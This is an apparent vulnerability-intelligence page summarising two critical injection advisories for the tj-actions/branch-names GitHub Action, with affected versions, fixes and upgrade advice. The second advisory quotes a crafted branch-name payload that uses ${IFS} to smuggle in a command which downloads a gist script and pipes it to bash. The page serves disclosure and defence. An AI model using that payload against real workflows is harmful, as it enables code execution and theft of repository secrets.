Skip to content

← Public intelligence

GitHub Actions package

tj-actions/branch-names

Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.

Open advisories

2 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.

  1. Critical, CVSS 9.1GitHub ActionsPublished

    tj-actions/branch-names has a Command Injection Vulnerability

    CVE-2025-54416 · GHSA-gq52-6phf-x2r6

    Affected
    • GitHub Actions tj-actions/branch-names <= 8.2.1
    Fixed in
    9.0.0· Vendor fix available
    Issue
    A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. Technical Details The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet: This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.…

    Recommended action: Upgrade to 9.0.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  2. Critical, CVSS 9.3GitHub ActionsPublished

    tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

    CVE-2023-49291 · GHSA-8v8w-v8xg-79rf

    Affected
    • GitHub Actions tj-actions/branch-names < 7.0.7
    Fixed in
    7.0.7· Vendor fix available
    Issue
    The tj-actions/branch-names GitHub Actions references the github.event.pullrequest.head.ref and github.headref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. Details The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable. An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity. Impact An attacker can use this vulnerability to steal secrets from or abuse GITHUBTOKEN permissions. Reference - https://securitylab.github.com/research/github-actions-untrusted-input

    Recommended action: Upgrade to 7.0.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →